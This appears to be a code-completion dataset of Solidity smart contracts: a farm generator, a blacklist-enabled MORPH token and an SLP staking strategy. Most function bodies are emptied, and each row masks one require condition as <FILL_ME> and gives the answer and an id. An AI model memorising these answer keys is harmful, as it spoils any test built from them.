* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERCBurn {
function burn(uint256 _amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external returns (uint256);
}
interface FarmFactory {
function registerFarm (address _farmAddress) external;
}
interface IUniFactory {
function getPair(address tokenA, address tokenB) external view returns (address);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract FarmGenerator01 is Ownable {
using SafeMath for uint256;
FarmFactory public factory;
struct FarmParameters {
uint256 bonusBlocks;
uint256 totalBonusReward;
uint256 numBlocks;
uint256 endBlock;
uint256 requiredAmount;
}
constructor(FarmFactory _factory) public {
}
/**
* @notice Determine the endBlock based on inputs. Used on the front end to show the exact settings the Farm contract will be deployed with
*/
function determineEndBlock (uint256 _amount, uint256 _blockReward, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus) public pure returns (uint256, uint256) {
}
/**
* @notice Determine the blockReward based on inputs specifying an end date. Used on the front end to show the exact settings the Farm contract will be deployed with
*/
function determineBlockReward (uint256 _amount, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus, uint256 _endBlock) public pure returns (uint256, uint256) {
}
/**
* @notice Creates a new Farm contract and registers it in the
* .sol. All farming rewards are locked in the Farm Contract
*/
function createFarm (IERC20 _rewardToken, uint256 _amount, IERC20 _lpToken,IUniFactory _swapFactory, uint256 _blockReward, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus) public onlyOwner returns (address){
require(_startBlock > block.number, 'START'); // ideally at least 24 hours more to give farmers time
require(_bonus > 0, 'BONUS');
require(<FILL_ME>)
require(_blockReward > 1000, 'BR'); // minimum 1000 divisibility per block reward
IUniFactory swapFactory = _swapFactory;
// ensure this pair is on swapFactory by querying the factory
IUniswapV2Pair lpair = IUniswapV2Pair(address(_lpToken));
address factoryPairAddress = swapFactory.getPair(lpair.token0(), lpair.token1());
require(factoryPairAddress == address(_lpToken), 'This pair is not on _swapFactory exchange');
FarmParameters memory params;
(params.endBlock, params.requiredAmount) = determineEndBlock(_amount, _blockReward, _startBlock, _bonusEndBlock, _bonus);
TransferHelper.safeTransferFrom(address(_rewardToken), address(msg.sender), address(this), params.requiredAmount);
Farm01 newFarm = new Farm01(address(factory), address(this));
TransferHelper.safeApprove(address(_rewardToken), address(newFarm), params.requiredAmount);
newFarm.init(_rewardToken, params.requiredAmount, _lpToken, _blockReward, _startBlock, params.endBlock, _bonusEndBlock, _bonus);
factory.registerFarm(address(newFarm));
return (address(newFarm));
}
}
| address(_rewardToken)!=address(0),'TOKEN' | 19,288 | address(_rewardToken)!=address(0) |
null | pragma solidity ^0.4.18;
/**
*
* This contract is used to set admin to the contract which has some additional features such as minting , burning etc
*
*/
contract Owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
/* This function is used to transfer adminship to new owner
* @param _newOwner - address of new admin or owner
*/
function transferOwnership(address _newOwner) onlyOwner public {
}
}
/**
* This is base ERC20 Contract , basically ERC-20 defines a common list of rules for all Ethereum tokens to follow
*/
contract ERC20 {
using SafeMath for uint256;
//This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) allowed;
//This maintains list of all black list account
mapping(address => bool) public isblacklistedAccount;
// public variables of the token
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 public totalSupply;
// This notifies client about the approval done by owner to spender for a given value
event Approval(address indexed owner, address indexed spender, uint256 value);
// This notifies client about the approval done
event Transfer(address indexed from, address indexed to, uint256 value);
function ERC20(uint256 _initialSupply,string _tokenName, string _tokenSymbol) public {
}
/* This function is used to transfer tokens to a particular address
* @param _to receiver address where transfer is to be done
* @param _value value to be transferred
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(<FILL_ME>) // Check if sender is not blacklisted
require(!isblacklistedAccount[_to]); // Check if receiver is not blacklisted
require(balanceOf[msg.sender] > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0);
require(balanceOf[_to] .add(_value) >= balanceOf[_to]); // Check for overflows
require(_to != msg.sender); // Check if sender and receiver is not same
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver
Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events
return true;
}
/* Send _value amount of tokens from address _from to address _to
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
* tokens on your behalf
* @param _from address from which amount is to be transferred
* @param _to address to which amount is transferred
* @param _amount to which amount is transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success)
{
}
/* This function allows _spender to withdraw from your account, multiple times, up to the _value amount.
* If this function is called again it overwrites the current allowance with _value.
* @param _spender address of the spender
* @param _amount amount allowed to be withdrawal
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
}
/* This function returns the amount of tokens approved by the owner that can be
* transferred to the spender's account
* @param _owner address of the owner
* @param _spender address of the spender
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
//This is the Main Morph Token Contract derived from the other two contracts Owned and ERC20
contract MorphToken is Owned, ERC20 {
using SafeMath for uint256;
uint256 tokenSupply = 100000000;
// This notifies clients about the amount burnt , only admin is able to burn the contract
event Burn(address from, uint256 value);
/* This is the main Token Constructor
* @param _centralAdmin Address of the admin of the contract
*/
function MorphToken()
ERC20 (tokenSupply,"MORPH","MORPH") public
{
}
/* This function is used to Blacklist a user or unblacklist already blacklisted users, blacklisted users are not able to transfer funds
* only admin can invoke this function
* @param _target address of the target
* @param _isBlacklisted boolean value
*/
function blacklistAccount(address _target, bool _isBlacklisted) public onlyOwner {
}
/* This function is used to mint additional tokens
* only admin can invoke this function
* @param _mintedAmount amount of tokens to be minted
*/
function mintTokens(uint256 _mintedAmount) public onlyOwner {
}
/**
* This function Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
}
}
| !isblacklistedAccount[msg.sender] | 19,310 | !isblacklistedAccount[msg.sender] |
null | pragma solidity ^0.4.18;
/**
*
* This contract is used to set admin to the contract which has some additional features such as minting , burning etc
*
*/
contract Owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
/* This function is used to transfer adminship to new owner
* @param _newOwner - address of new admin or owner
*/
function transferOwnership(address _newOwner) onlyOwner public {
}
}
/**
* This is base ERC20 Contract , basically ERC-20 defines a common list of rules for all Ethereum tokens to follow
*/
contract ERC20 {
using SafeMath for uint256;
//This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) allowed;
//This maintains list of all black list account
mapping(address => bool) public isblacklistedAccount;
// public variables of the token
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 public totalSupply;
// This notifies client about the approval done by owner to spender for a given value
event Approval(address indexed owner, address indexed spender, uint256 value);
// This notifies client about the approval done
event Transfer(address indexed from, address indexed to, uint256 value);
function ERC20(uint256 _initialSupply,string _tokenName, string _tokenSymbol) public {
}
/* This function is used to transfer tokens to a particular address
* @param _to receiver address where transfer is to be done
* @param _value value to be transferred
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(!isblacklistedAccount[msg.sender]); // Check if sender is not blacklisted
require(<FILL_ME>) // Check if receiver is not blacklisted
require(balanceOf[msg.sender] > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0);
require(balanceOf[_to] .add(_value) >= balanceOf[_to]); // Check for overflows
require(_to != msg.sender); // Check if sender and receiver is not same
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver
Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events
return true;
}
/* Send _value amount of tokens from address _from to address _to
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
* tokens on your behalf
* @param _from address from which amount is to be transferred
* @param _to address to which amount is transferred
* @param _amount to which amount is transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success)
{
}
/* This function allows _spender to withdraw from your account, multiple times, up to the _value amount.
* If this function is called again it overwrites the current allowance with _value.
* @param _spender address of the spender
* @param _amount amount allowed to be withdrawal
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
}
/* This function returns the amount of tokens approved by the owner that can be
* transferred to the spender's account
* @param _owner address of the owner
* @param _spender address of the spender
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
//This is the Main Morph Token Contract derived from the other two contracts Owned and ERC20
contract MorphToken is Owned, ERC20 {
using SafeMath for uint256;
uint256 tokenSupply = 100000000;
// This notifies clients about the amount burnt , only admin is able to burn the contract
event Burn(address from, uint256 value);
/* This is the main Token Constructor
* @param _centralAdmin Address of the admin of the contract
*/
function MorphToken()
ERC20 (tokenSupply,"MORPH","MORPH") public
{
}
/* This function is used to Blacklist a user or unblacklist already blacklisted users, blacklisted users are not able to transfer funds
* only admin can invoke this function
* @param _target address of the target
* @param _isBlacklisted boolean value
*/
function blacklistAccount(address _target, bool _isBlacklisted) public onlyOwner {
}
/* This function is used to mint additional tokens
* only admin can invoke this function
* @param _mintedAmount amount of tokens to be minted
*/
function mintTokens(uint256 _mintedAmount) public onlyOwner {
}
/**
* This function Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
}
}
| !isblacklistedAccount[_to] | 19,310 | !isblacklistedAccount[_to] |
null | pragma solidity ^0.4.18;
/**
*
* This contract is used to set admin to the contract which has some additional features such as minting , burning etc
*
*/
contract Owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
/* This function is used to transfer adminship to new owner
* @param _newOwner - address of new admin or owner
*/
function transferOwnership(address _newOwner) onlyOwner public {
}
}
/**
* This is base ERC20 Contract , basically ERC-20 defines a common list of rules for all Ethereum tokens to follow
*/
contract ERC20 {
using SafeMath for uint256;
//This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) allowed;
//This maintains list of all black list account
mapping(address => bool) public isblacklistedAccount;
// public variables of the token
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 public totalSupply;
// This notifies client about the approval done by owner to spender for a given value
event Approval(address indexed owner, address indexed spender, uint256 value);
// This notifies client about the approval done
event Transfer(address indexed from, address indexed to, uint256 value);
function ERC20(uint256 _initialSupply,string _tokenName, string _tokenSymbol) public {
}
/* This function is used to transfer tokens to a particular address
* @param _to receiver address where transfer is to be done
* @param _value value to be transferred
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(!isblacklistedAccount[msg.sender]); // Check if sender is not blacklisted
require(!isblacklistedAccount[_to]); // Check if receiver is not blacklisted
require(<FILL_ME>)
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0);
require(balanceOf[_to] .add(_value) >= balanceOf[_to]); // Check for overflows
require(_to != msg.sender); // Check if sender and receiver is not same
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver
Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events
return true;
}
/* Send _value amount of tokens from address _from to address _to
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
* tokens on your behalf
* @param _from address from which amount is to be transferred
* @param _to address to which amount is transferred
* @param _amount to which amount is transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success)
{
}
/* This function allows _spender to withdraw from your account, multiple times, up to the _value amount.
* If this function is called again it overwrites the current allowance with _value.
* @param _spender address of the spender
* @param _amount amount allowed to be withdrawal
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
}
/* This function returns the amount of tokens approved by the owner that can be
* transferred to the spender's account
* @param _owner address of the owner
* @param _spender address of the spender
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
//This is the Main Morph Token Contract derived from the other two contracts Owned and ERC20
contract MorphToken is Owned, ERC20 {
using SafeMath for uint256;
uint256 tokenSupply = 100000000;
// This notifies clients about the amount burnt , only admin is able to burn the contract
event Burn(address from, uint256 value);
/* This is the main Token Constructor
* @param _centralAdmin Address of the admin of the contract
*/
function MorphToken()
ERC20 (tokenSupply,"MORPH","MORPH") public
{
}
/* This function is used to Blacklist a user or unblacklist already blacklisted users, blacklisted users are not able to transfer funds
* only admin can invoke this function
* @param _target address of the target
* @param _isBlacklisted boolean value
*/
function blacklistAccount(address _target, bool _isBlacklisted) public onlyOwner {
}
/* This function is used to mint additional tokens
* only admin can invoke this function
* @param _mintedAmount amount of tokens to be minted
*/
function mintTokens(uint256 _mintedAmount) public onlyOwner {
}
/**
* This function Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
}
}
| balanceOf[msg.sender]>0 | 19,310 | balanceOf[msg.sender]>0 |
null | pragma solidity ^0.4.18;
/**
*
* This contract is used to set admin to the contract which has some additional features such as minting , burning etc
*
*/
contract Owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
/* This function is used to transfer adminship to new owner
* @param _newOwner - address of new admin or owner
*/
function transferOwnership(address _newOwner) onlyOwner public {
}
}
/**
* This is base ERC20 Contract , basically ERC-20 defines a common list of rules for all Ethereum tokens to follow
*/
contract ERC20 {
using SafeMath for uint256;
//This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) allowed;
//This maintains list of all black list account
mapping(address => bool) public isblacklistedAccount;
// public variables of the token
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 public totalSupply;
// This notifies client about the approval done by owner to spender for a given value
event Approval(address indexed owner, address indexed spender, uint256 value);
// This notifies client about the approval done
event Transfer(address indexed from, address indexed to, uint256 value);
function ERC20(uint256 _initialSupply,string _tokenName, string _tokenSymbol) public {
}
/* This function is used to transfer tokens to a particular address
* @param _to receiver address where transfer is to be done
* @param _value value to be transferred
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(!isblacklistedAccount[msg.sender]); // Check if sender is not blacklisted
require(!isblacklistedAccount[_to]); // Check if receiver is not blacklisted
require(balanceOf[msg.sender] > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0);
require(<FILL_ME>) // Check for overflows
require(_to != msg.sender); // Check if sender and receiver is not same
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver
Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events
return true;
}
/* Send _value amount of tokens from address _from to address _to
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
* tokens on your behalf
* @param _from address from which amount is to be transferred
* @param _to address to which amount is transferred
* @param _amount to which amount is transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success)
{
}
/* This function allows _spender to withdraw from your account, multiple times, up to the _value amount.
* If this function is called again it overwrites the current allowance with _value.
* @param _spender address of the spender
* @param _amount amount allowed to be withdrawal
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
}
/* This function returns the amount of tokens approved by the owner that can be
* transferred to the spender's account
* @param _owner address of the owner
* @param _spender address of the spender
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
//This is the Main Morph Token Contract derived from the other two contracts Owned and ERC20
contract MorphToken is Owned, ERC20 {
using SafeMath for uint256;
uint256 tokenSupply = 100000000;
// This notifies clients about the amount burnt , only admin is able to burn the contract
event Burn(address from, uint256 value);
/* This is the main Token Constructor
* @param _centralAdmin Address of the admin of the contract
*/
function MorphToken()
ERC20 (tokenSupply,"MORPH","MORPH") public
{
}
/* This function is used to Blacklist a user or unblacklist already blacklisted users, blacklisted users are not able to transfer funds
* only admin can invoke this function
* @param _target address of the target
* @param _isBlacklisted boolean value
*/
function blacklistAccount(address _target, bool _isBlacklisted) public onlyOwner {
}
/* This function is used to mint additional tokens
* only admin can invoke this function
* @param _mintedAmount amount of tokens to be minted
*/
function mintTokens(uint256 _mintedAmount) public onlyOwner {
}
/**
* This function Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
}
}
| balanceOf[_to].add(_value)>=balanceOf[_to] | 19,310 | balanceOf[_to].add(_value)>=balanceOf[_to] |
"NOTHING TO MINT SHARE" | // Dependency file: contracts/libraries/TransferHelper.sol
//SPDX-License-Identifier: MIT
// pragma solidity >=0.6.0;
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
}
function safeTransfer(address token, address to, uint value) internal {
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
}
function safeTransferETH(address to, uint value) internal {
}
}
// Dependency file: contracts/libraries/SafeMath.sol
// pragma solidity >=0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
// Dependency file: contracts/modules/BaseShareField.sol
// pragma solidity >=0.6.6;
// import 'contracts/libraries/SafeMath.sol';
// import 'contracts/libraries/TransferHelper.sol';
interface IERC20 {
function approve(address spender, uint value) external returns (bool);
function balanceOf(address owner) external view returns (uint);
}
contract BaseShareField {
using SafeMath for uint;
uint public totalProductivity;
uint public accAmountPerShare;
uint public totalShare;
uint public mintedShare;
uint public mintCumulation;
uint private unlocked = 1;
address public shareToken;
modifier lock() {
}
struct UserInfo {
uint amount; // How many tokens the user has provided.
uint rewardDebt; // Reward debt.
uint rewardEarn; // Reward earn and not minted
bool initialize; // already setup.
}
mapping(address => UserInfo) public users;
function _setShareToken(address _shareToken) internal {
}
// Update reward variables of the given pool to be up-to-date.
function _update() internal virtual {
}
function _currentReward() internal virtual view returns (uint) {
}
// Audit user's reward to be up-to-date
function _audit(address user) internal virtual {
}
// External function call
// This function increase user's productivity and updates the global productivity.
// the users' actual share percentage will calculated by:
// Formula: user_productivity / global_productivity
function _increaseProductivity(address user, uint value) internal virtual returns (bool) {
}
// External function call
// This function will decreases user's productivity by value, and updates the global productivity
// it will record which block this is happenning and accumulates the area of (productivity * time)
function _decreaseProductivity(address user, uint value) internal virtual returns (bool) {
}
function _transferTo(address user, address to, uint value) internal virtual returns (bool) {
}
function _takeWithAddress(address user) internal view returns (uint) {
}
// External function call
// When user calls this function, it will calculate how many token will mint to user from his productivity * time
// Also it calculates global token supply from last time the user mint to this time.
function _mint(address user) internal virtual lock returns (uint) {
_update();
_audit(user);
require(<FILL_ME>)
uint amount = users[user].rewardEarn;
TransferHelper.safeTransfer(shareToken, user, amount);
users[user].rewardEarn = 0;
mintedShare += amount;
return amount;
}
function _mintTo(address user, address to) internal virtual lock returns (uint) {
}
// Returns how many productivity a user has and global has.
function getProductivity(address user) public virtual view returns (uint, uint) {
}
// Returns the current gorss product rate.
function interestsPerBlock() public virtual view returns (uint) {
}
}
// Dependency file: contracts/SLPStrategy.sol
// pragma solidity >=0.5.16;
// import "contracts/libraries/TransferHelper.sol";
// import "contracts/libraries/SafeMath.sol";
// import "contracts/modules/BaseShareField.sol";
interface ICollateralStrategy {
function invest(address user, uint amount) external;
function withdraw(address user, uint amount) external;
function liquidation(address user) external;
function claim(address user, uint amount, uint total) external;
function exit(uint amount) external;
function migrate(address old) external;
function query() external view returns (uint);
function mint() external;
function interestToken() external returns (address);
function collateralToken() external returns (address);
}
interface IMasterChef {
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function pendingSushi(uint256 _pid, address _user) external view returns (uint256);
function poolInfo(uint _index) external view returns(address, uint, uint, uint);
}
contract SLPStrategy is ICollateralStrategy, BaseShareField
{
event Mint(address indexed user, uint amount);
using SafeMath for uint;
address override public interestToken;
address override public collateralToken;
address public poolAddress;
address public masterChef;
address public old;
uint public lpPoolpid;
address public factory;
constructor() public {
}
function initialize(address _interestToken, address _collateralToken, address _poolAddress, address _sushiMasterChef, uint _lpPoolpid) public
{
}
function migrate(address _old) external override
{
}
function invest(address user, uint amount) external override
{
}
function withdraw(address user, uint amount) external override
{
}
function liquidation(address user) external override {
}
function claim(address user, uint amount, uint total) external override {
}
function exit(uint amount) external override {
}
function _sync(address user) internal
{
}
function _currentReward() internal override view returns (uint) {
}
function query() external override view returns (uint){
}
function mint() external override {
}
}
// Dependency file: contracts/modules/Configable.sol
// pragma solidity >=0.5.16;
pragma experimental ABIEncoderV2;
interface IConfig {
function developer() external view returns (address);
function platform() external view returns (address);
function factory() external view returns (address);
function mint() external view returns (address);
function token() external view returns (address);
function developPercent() external view returns (uint);
function share() external view returns (address);
function base() external view returns (address);
function governor() external view returns (address);
function getPoolValue(address pool, bytes32 key) external view returns (uint);
function getValue(bytes32 key) external view returns(uint);
function getParams(bytes32 key) external view returns(uint, uint, uint, uint);
function getPoolParams(address pool, bytes32 key) external view returns(uint, uint, uint, uint);
function wallets(bytes32 key) external view returns(address);
function setValue(bytes32 key, uint value) external;
function setPoolValue(address pool, bytes32 key, uint value) external;
function setParams(bytes32 _key, uint _min, uint _max, uint _span, uint _value) external;
function setPoolParams(bytes32 _key, uint _min, uint _max, uint _span, uint _value) external;
function initPoolParams(address _pool) external;
function isMintToken(address _token) external returns (bool);
function prices(address _token) external returns (uint);
function convertTokenAmount(address _fromToken, address _toToken, uint _fromAmount) external view returns (uint);
function DAY() external view returns (uint);
function WETH() external view returns (address);
}
contract Configable {
address public config;
address public owner;
event OwnerChanged(address indexed _oldOwner, address indexed _newOwner);
constructor() public {
}
function setupConfig(address _config) external onlyOwner {
}
modifier onlyOwner() {
}
modifier onlyDeveloper() {
}
modifier onlyPlatform() {
}
modifier onlyFactory() {
}
modifier onlyGovernor() {
}
}
// Root file: contracts/SLPStrategyFactory.sol
pragma solidity >=0.5.16;
// import 'contracts/SLPStrategy.sol';
// import 'contracts/modules/Configable.sol';
interface ISLPStrategy {
function initialize(address _interestToken, address _collateralToken, address _poolAddress, address _sushiMasterChef, uint _lpPoolpid) external;
}
interface ISushiMasterChef {
function sushi() external view returns(address);
}
interface IAAAAPool {
function collateralToken() external view returns(address);
}
contract SLPStrategyFactory is Configable {
address public masterchef;
address[] public strategies;
event StrategyCreated(address indexed _strategy, address indexed _collateralToken, address indexed _poolAddress, uint _lpPoolpid);
constructor() public {
}
function initialize(address _masterchef) onlyOwner public {
}
function createStrategy(address _collateralToken, address _poolAddress, uint _lpPoolpid) onlyDeveloper external returns (address _strategy) {
}
function countStrategy() external view returns(uint) {
}
}
| users[user].rewardEarn>0,"NOTHING TO MINT SHARE" | 19,327 | users[user].rewardEarn>0 |
'Not found collateralToken in Pool' | // Dependency file: contracts/libraries/TransferHelper.sol
//SPDX-License-Identifier: MIT
